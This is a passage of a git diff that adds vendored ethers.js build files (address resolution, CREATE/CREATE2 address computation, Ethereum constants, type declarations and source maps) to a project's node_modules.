which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +export function resolveAddress(target, resolver) { + if (typeof (target) === "string") { + if (target.match(/^0x[0-9a-f]{40}$/i)) { + return getAddress(target); + } + assert(resolver != null, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName" }); + return checkAddress(target, resolver.resolveName(target)); + } + else if (isAddressable(target)) { + return checkAddress(target, target.getAddress()); + } + else if (target && typeof (target.then) === "function") { + return checkAddress(target, target); + } + assertArgument(false, "unsupported addressable value", "target", target); +} +//# sourceMappingURL=checks.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/checks.js.map b/node_modules/ethers/lib.esm/address/checks.js.map new file mode 100644 index 000000000000..9a6e6ecfcdb0 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/checks.js.map @@ -0,0 +1 @@ +{"version":3,"file":"checks.js","sourceRoot":"","sources":["../../src.ts/address/checks.ts"],"names":[],"mapp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oCAAoC,EACzD,uBAAuB,EAAE,EAAE,SAAS,EAAE,aAAa,EAAE,CAAC,CAAC;QAE3D,OAAO,YAAY,CAAC,MAAM,EAAE,QAAQ,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC;KAE7D;SAAM,IAAI,aAAa,CAAC,MAAM,CAAC,EAAE;QAC9B,OAAO,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,UAAU,EAAE,CAAC,CAAC;KAEpD;SAAM,IAAI,MAAM,IAAI,OAAM,CAAC,MAAM,CAAC,IAAI,CAAC,KAAK,UAAU,EAAE;QACrD,OAAO,YAAY,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;KACvC;IAED,cAAc,CAAC,KAAK,EAAE,+BAA+B,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;AAC7E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/contract-address.d.ts b/node_modules/ethers/lib.esm/address/contract-address.d.ts new file mode 100644 index 000000000000..42b36f7f00cd --- /dev/null +++ b/node_modules/ethers/lib.esm/address/contract-address.d.ts @@ -0,0 +1,48 @@ +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +export declare function getCreateAddress(tx: { + from: string; + nonce: BigNumberish; +}): string; +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +export declare function getCreate2Address(_from: string, _salt: BytesLike, _initCodeHash: BytesLike): string; +//# sourceMappingURL=contract-address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/contract-address.d.ts.map b/node_modules/ethers/lib.esm/address/contract-address.d.ts.map new file mode 100644 index 000000000000..624f8426ced8 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/contract-address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"contract-address.d.ts","sourceRoot":"","sources":["../../src.ts/address/contract-address.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAKjE;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,gBAAgB,CAAC,EAAE,EAAE;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,KAAK,EAAE,YAAY,CAAA;CAAE,GAAG,MAAM,CAclF;AAED;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,wBAAgB,iBAAiB,CAAC,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,SAAS,EAAE,aAAa,EAAE,SAAS,GAAG,MAAM,CAUnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/contract-address.js b/node_modules/ethers/lib.esm/address/contract-address.js new file mode 100644 index 000000000000..e0f85489b04e --- /dev/null +++ b/node_modules/ethers/lib.esm/address/contract-address.js @@ -0,0 +1,69 @@ +import { keccak256 } from "../crypto/index.js"; +import { concat, dataSlice, getBigInt, getBytes, encodeRlp, assertArgument } from "../utils/index.js"; +import { getAddress } from "./address.js"; +// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +export function getCreateAddress(tx) { + const from = getAddress(tx.from); + const nonce = getBigInt(tx.nonce, "tx.nonce"); + let nonceHex = nonce.toString(16); + if (nonceHex === "0") { + nonceHex = "0x"; + } + else if (nonceHex.length % 2) { + nonceHex = "0x0" + nonceHex; + } + else { + nonceHex = "0x" + nonceHex; + } + return getAddress(dataSlice(keccak256(encodeRlp([from, nonceHex])), 12)); +} +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +export function getCreate2Address(_from, _salt, _initCodeHash) { + const from = getAddress(_from); + const salt = getBytes(_salt, "salt"); + const initCodeHash = getBytes(_initCodeHash, "initCodeHash"); + assertArgument(salt.length === 32, "salt must be 32 bytes", "salt", _salt); + assertArgument(initCodeHash.length === 32, "initCodeHash must be 32 bytes", "initCodeHash", _initCodeHash); + return getAddress(dataSlice(keccak256(concat(["0xff", from, salt, initCodeHash])), 12)); +} +//# sourceMappingURL=contract-address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/contract-address.js.map b/node_modules/ethers/lib.esm/address/contract-address.js.map new file mode 100644 index 000000000000..7a9c2838c59f --- /dev/null +++ b/node_modules/ethers/lib.esm/address/contract-address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"contract-address.js","sourceRoot":"","sources":["../../src.ts/address/contract-address.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EACH,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS,EAAE,cAAc,EACpE,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAK1C,sGAAsG;AAEtG;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,gBAAgB,CAAC,EAAyC;IACtE,MAAM,IAAI,GAAG,UAAU,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC;IACjC,MAAM,KAAK,GAAG,SAAS,CAAC,EAAE,CAAC,KAAK,EAAE,UAAU,CAAC,CAAC;IAE9C,IAAI,QAAQ,GAAG,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;IAClC,IAAI,QAAQ,KAAK,GAAG,EAAE;QAClB,QAAQ,GAAG,IAAI,CAAC;KACnB;SAAM,IAAI,QAAQ,CAAC,MAAM,GAAG,CAAC,EAAE;QAC5B,QAAQ,GAAG,KAAK,GAAG,QAAQ,CAAC;KAC/B;SAAM;QACH,QAAQ,GAAG,IAAI,GAAG,QAAQ,CAAC;KAC9B;IAED,OAAO,UAAU,CAAC,SAAS,CAAC,SAAS,CAAC,SAAS,CAAC,CAAE,IAAI,EAAE,QAAQ,CAAE,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC;AAC/E,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,MAAM,UAAU,iBAAiB,CAAC,KAAa,EAAE,KAAgB,EAAE,aAAwB;IACvF,MAAM,IAAI,GAAG,UAAU,CAAC,KAAK,CAAC,CAAC;IAC/B,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,MAAM,YAAY,GAAG,QAAQ,CAAC,aAAa,EAAE,cAAc,CAAC,CAAC;IAE7D,cAAc,CAAC,IAAI,CAAC,MAAM,KAAK,EAAE,EAAE,uBAAuB,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;IAE3E,cAAc,CAAC,YAAY,CAAC,MAAM,KAAK,EAAE,EAAE,+BAA+B,EAAE,cAAc,EAAE,aAAa,CAAC,CAAC;IAE3G,OAAO,UAAU,CAAC,SAAS,CAAC,SAAS,CAAC,MAAM,CAAC,CAAE,MAAM,EAAE,IAAI,EAAE,IAAI,EAAE,YAAY,CAAE,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAA;AAC7F,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/index.d.ts b/node_modules/ethers/lib.esm/address/index.d.ts new file mode 100644 index 000000000000..c813ab8326c9 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/index.d.ts @@ -0,0 +1,49 @@ +/** + * Addresses are a fundamental part of interacting with Ethereum. They + * represent the global identity of Externally Owned Accounts (accounts + * backed by a private key) and contracts. + * + * The Ethereum Naming Service (ENS) provides an interconnected ecosystem + * of contracts, standards and libraries which enable looking up an + * address for an ENS name. + * + * These functions help convert between various formats, validate + * addresses and safely resolve ENS names. + * + * @_section: api/address:Addresses [about-addresses] + */ +/** + * An interface for objects which have an address, and can + * resolve it asyncronously. + * + * This allows objects such as [[Signer]] or [[Contract]] to + * be used most places an address can be, for example getting + * the [balance](Provider-getBalance). + */ +export interface Addressable { + /** + * Get the object address. + */ + getAddress(): Promise; +} +/** + * Anything that can be used to return or resolve an address. + */ +export type AddressLike = string | Promise | Addressable; +/** + * An interface for any object which can resolve an ENS name. + */ +export interface NameResolver { + /** + * Resolve to the address for the ENS %%name%%. + * + * Resolves to ``null`` if the name is unconfigued. Use + * [[resolveAddress]] (passing this object as %%resolver%%) to + * throw for names that are unconfigured. + */ + resolveName(name: string): Promise; +} +export { getAddress, getIcapAddress } from "./address.js"; +export { getCreateAddress, getCreate2Address } from "./contract-address.js"; +export { isAddressable, isAddress, resolveAddress } from "./checks.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/index.d.ts.map b/node_modules/ethers/lib.esm/address/index.d.ts.map new file mode 100644 index 000000000000..87b489ffa794 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/address/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAIH;;;;;;;GAOG;AACH,MAAM,WAAW,WAAW;IACxB;;OAEG;IACH,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC,CAAC;CACjC;AAED;;GAEG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,GAAG,WAAW,CAAC;AAEjE;;GAEG;AACH,MAAM,WAAW,YAAY;IACzB;;;;;;OAMG;IACH,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;CACrD;AAED,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAE1D,OAAO,EAAE,gBAAgB,EAAE,iBAAiB,EAAE,MAAM,uBAAuB,CAAC;AAG5E,OAAO,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/index.js b/node_modules/ethers/lib.esm/address/index.js new file mode 100644 index 000000000000..68e359952727 --- /dev/null +++ b/node_modules/ethers/lib.esm/address/index.js @@ -0,0 +1,19 @@ +/** + * Addresses are a fundamental part of interacting with Ethereum. They + * represent the global identity of Externally Owned Accounts (accounts + * backed by a private key) and contracts. + * + * The Ethereum Naming Service (ENS) provides an interconnected ecosystem + * of contracts, standards and libraries which enable looking up an + * address for an ENS name. + * + * These functions help convert between various formats, validate + * addresses and safely resolve ENS names. + * + * @_section: api/address:Addresses [about-addresses] + */ +null; +export { getAddress, getIcapAddress } from "./address.js"; +export { getCreateAddress, getCreate2Address } from "./contract-address.js"; +export { isAddressable, isAddress, resolveAddress } from "./checks.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/address/index.js.map b/node_modules/ethers/lib.esm/address/index.js.map new file mode 100644 index 000000000000..f983b930168d --- /dev/null +++ b/node_modules/ethers/lib.esm/address/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/address/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAEH,IAAI,CAAC;AAoCL,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAE1D,OAAO,EAAE,gBAAgB,EAAE,iBAAiB,EAAE,MAAM,uBAAuB,CAAC;AAG5E,OAAO,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/addresses.d.ts b/node_modules/ethers/lib.esm/constants/addresses.d.ts new file mode 100644 index 000000000000..a32d6be03b7f --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/addresses.d.ts @@ -0,0 +1,7 @@ +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +export declare const ZeroAddress: string; +//# sourceMappingURL=addresses.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/addresses.d.ts.map b/node_modules/ethers/lib.esm/constants/addresses.d.ts.map new file mode 100644 index 000000000000..35a5c2211d5e --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/addresses.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"addresses.d.ts","sourceRoot":"","sources":["../../src.ts/constants/addresses.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAqD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/addresses.js b/node_modules/ethers/lib.esm/constants/addresses.js new file mode 100644 index 000000000000..45345cb6ebbf --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/addresses.js @@ -0,0 +1,7 @@ +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +export const ZeroAddress = "0x0000000000000000000000000000000000000000"; +//# sourceMappingURL=addresses.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/addresses.js.map b/node_modules/ethers/lib.esm/constants/addresses.js.map new file mode 100644 index 000000000000..9fb48ce8af47 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/addresses.js.map @@ -0,0 +1 @@ +{"version":3,"file":"addresses.js","sourceRoot":"","sources":["../../src.ts/constants/addresses.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,MAAM,CAAC,MAAM,WAAW,GAAW,4CAA4C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/hashes.d.ts b/node_modules/ethers/lib.esm/constants/hashes.d.ts new file mode 100644 index 000000000000..784df7156993 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/hashes.d.ts @@ -0,0 +1,7 @@ +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +export declare const ZeroHash: string; +//# sourceMappingURL=hashes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/hashes.d.ts.map b/node_modules/ethers/lib.esm/constants/hashes.d.ts.map new file mode 100644 index 000000000000..23f5213c52cf --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/hashes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hashes.d.ts","sourceRoot":"","sources":["../../src.ts/constants/hashes.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,eAAO,MAAM,QAAQ,EAAE,MAA6E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/hashes.js b/node_modules/ethers/lib.esm/constants/hashes.js new file mode 100644 index 000000000000..95bca98a9cca --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/hashes.js @@ -0,0 +1,7 @@ +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +export const ZeroHash = "0x0000000000000000000000000000000000000000000000000000000000000000"; +//# sourceMappingURL=hashes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/hashes.js.map b/node_modules/ethers/lib.esm/constants/hashes.js.map new file mode 100644 index 000000000000..b198ca1bcdc6 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/hashes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hashes.js","sourceRoot":"","sources":["../../src.ts/constants/hashes.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,MAAM,CAAC,MAAM,QAAQ,GAAW,oEAAoE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/index.d.ts b/node_modules/ethers/lib.esm/constants/index.d.ts new file mode 100644 index 000000000000..fa4e9e7a361e --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/index.d.ts @@ -0,0 +1,10 @@ +/** + * Some common constants useful for Ethereum. + * + * @_section: api/constants: Constants [about-constants] + */ +export { ZeroAddress } from "./addresses.js"; +export { ZeroHash } from "./hashes.js"; +export { N, WeiPerEther, MaxUint256, MinInt256, MaxInt256 } from "./numbers.js"; +export { EtherSymbol, MessagePrefix } from "./strings.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/index.d.ts.map b/node_modules/ethers/lib.esm/constants/index.d.ts.map new file mode 100644 index 000000000000..4df7cd4c8dbe --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/constants/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,WAAW,EAAE,MAAM,gBAAgB,CAAC;AAC7C,OAAO,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AACvC,OAAO,EACH,CAAC,EACD,WAAW,EACX,UAAU,EACV,SAAS,EACT,SAAS,EACZ,MAAM,cAAc,CAAC;AACtB,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/index.js b/node_modules/ethers/lib.esm/constants/index.js new file mode 100644 index 000000000000..98941803095d --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/index.js @@ -0,0 +1,10 @@ +/** + * Some common constants useful for Ethereum. + * + * @_section: api/constants: Constants [about-constants] + */ +export { ZeroAddress } from "./addresses.js"; +export { ZeroHash } from "./hashes.js"; +export { N, WeiPerEther, MaxUint256, MinInt256, MaxInt256 } from "./numbers.js"; +export { EtherSymbol, MessagePrefix } from "./strings.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/index.js.map b/node_modules/ethers/lib.esm/constants/index.js.map new file mode 100644 index 000000000000..e5b985f1863b --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/constants/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,WAAW,EAAE,MAAM,gBAAgB,CAAC;AAC7C,OAAO,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AACvC,OAAO,EACH,CAAC,EACD,WAAW,EACX,UAAU,EACV,SAAS,EACT,SAAS,EACZ,MAAM,cAAc,CAAC;AACtB,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/numbers.d.ts b/node_modules/ethers/lib.esm/constants/numbers.d.ts new file mode 100644 index 000000000000..7c84eaa6550d --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/numbers.d.ts @@ -0,0 +1,31 @@ +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +export declare const N: bigint; +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +export declare const WeiPerEther: bigint; +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export declare const MaxUint256: bigint; +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +export declare const MinInt256: bigint; +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export declare const MaxInt256: bigint; +//# sourceMappingURL=numbers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/numbers.d.ts.map b/node_modules/ethers/lib.esm/constants/numbers.d.ts.map new file mode 100644 index 000000000000..6391e1fd0d3f --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/numbers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"numbers.d.ts","sourceRoot":"","sources":["../../src.ts/constants/numbers.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,eAAO,MAAM,CAAC,EAAE,MAAqF,CAAC;AAEtG;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAsC,CAAC;AAEjE;;;;GAIG;AACH,eAAO,MAAM,UAAU,EAAE,MAAqF,CAAC;AAE/G;;;;GAIG;AACH,eAAO,MAAM,SAAS,EAAE,MAAkG,CAAC;AAE3H;;;;GAIG;AACH,eAAO,MAAM,SAAS,EAAE,MAAqF,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/numbers.js b/node_modules/ethers/lib.esm/constants/numbers.js new file mode 100644 index 000000000000..753e9fb9e997 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/numbers.js @@ -0,0 +1,31 @@ +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +export const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +export const WeiPerEther = BigInt("1000000000000000000"); +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export const MaxUint256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +export const MinInt256 = BigInt("0x8000000000000000000000000000000000000000000000000000000000000000") * BigInt(-1); +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export const MaxInt256 = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +//# sourceMappingURL=numbers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/numbers.js.map b/node_modules/ethers/lib.esm/constants/numbers.js.map new file mode 100644 index 000000000000..8e868180adce --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/numbers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"numbers.js","sourceRoot":"","sources":["../../src.ts/constants/numbers.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,MAAM,CAAC,MAAM,CAAC,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEtG;;;;GAIG;AACH,MAAM,CAAC,MAAM,WAAW,GAAW,MAAM,CAAC,qBAAqB,CAAC,CAAC;AAEjE;;;;GAIG;AACH,MAAM,CAAC,MAAM,UAAU,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAE/G;;;;GAIG;AACH,MAAM,CAAC,MAAM,SAAS,GAAW,MAAM,CAAC,oEAAoE,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;AAE3H;;;;GAIG;AACH,MAAM,CAAC,MAAM,SAAS,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/strings.d.ts b/node_modules/ethers/lib.esm/constants/strings.d.ts new file mode 100644 index 000000000000..0ad1c8680eae --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/strings.d.ts @@ -0,0 +1,13 @@ +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +export declare const EtherSymbol: string; +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +export declare const MessagePrefix: string; +//# sourceMappingURL=strings.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/strings.d.ts.map b/node_modules/ethers/lib.esm/constants/strings.d.ts.map new file mode 100644 index 000000000000..b911a56b0706 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/strings.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"strings.d.ts","sourceRoot":"","sources":["../../src.ts/constants/strings.ts"],"names":[],"mappings":"AAEA;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAiB,CAAC;AAG5C;;;;GAIG;AACH,eAAO,MAAM,aAAa,EAAE,MAAyC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/strings.js b/node_modules/ethers/lib.esm/constants/strings.js new file mode 100644 index 000000000000..921e0e4983b2 --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/strings.js @@ -0,0 +1,14 @@ +// NFKC (composed) // (decomposed) +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +export const EtherSymbol = "\u039e"; // "\uD835\uDF63"; +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +export const MessagePrefix = "\x19Ethereum Signed Message:\n"; +//# sourceMappingURL=strings.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/constants/strings.js.map b/node_modules/ethers/lib.esm/constants/strings.js.map new file mode 100644 index 000000000000..f9c79a9079ec --- /dev/null +++ b/node_modules/ethers/lib.esm/constants/strings.js.map @@ -0,0 +1 @@ +{"version":3,"file":"strings.js","sourceRoot":"","sources":["../../src.ts/constants/strings.ts"],"names":[],"mappings":"AAAA,8CAA8C;AAE9C;;;;GAIG;AACH,MAAM,CAAC,MAAM,WAAW,GAAW,QAAQ,CAAC,CAAE,kBAAkB;AAGhE;;;;GAIG;AACH,MAAM,CAAC,MAAM,aAAa,GAAW,gCAAgC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/contract.d.ts b/node_modules/ethers/lib.esm/contract/contract.d.ts new file mode 100644 index 000000000000..a482a24afccf --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/contract.d.ts @@ -0,0 +1,168 @@ +import { Interface } from "../abi/index.js"; +import { Log, TransactionResponse } from "../providers/provider.js"; +import { ContractTransactionResponse, EventLog } from "./wrappers.js"; +import type { EventFragment, FunctionFragment, InterfaceAbi, ParamType } from "../abi/index.js"; +import type { Addressable } from "../address/index.js"; +import type { EventEmitterable, Listener } from "../utils/index.js"; +import type { BlockTag, 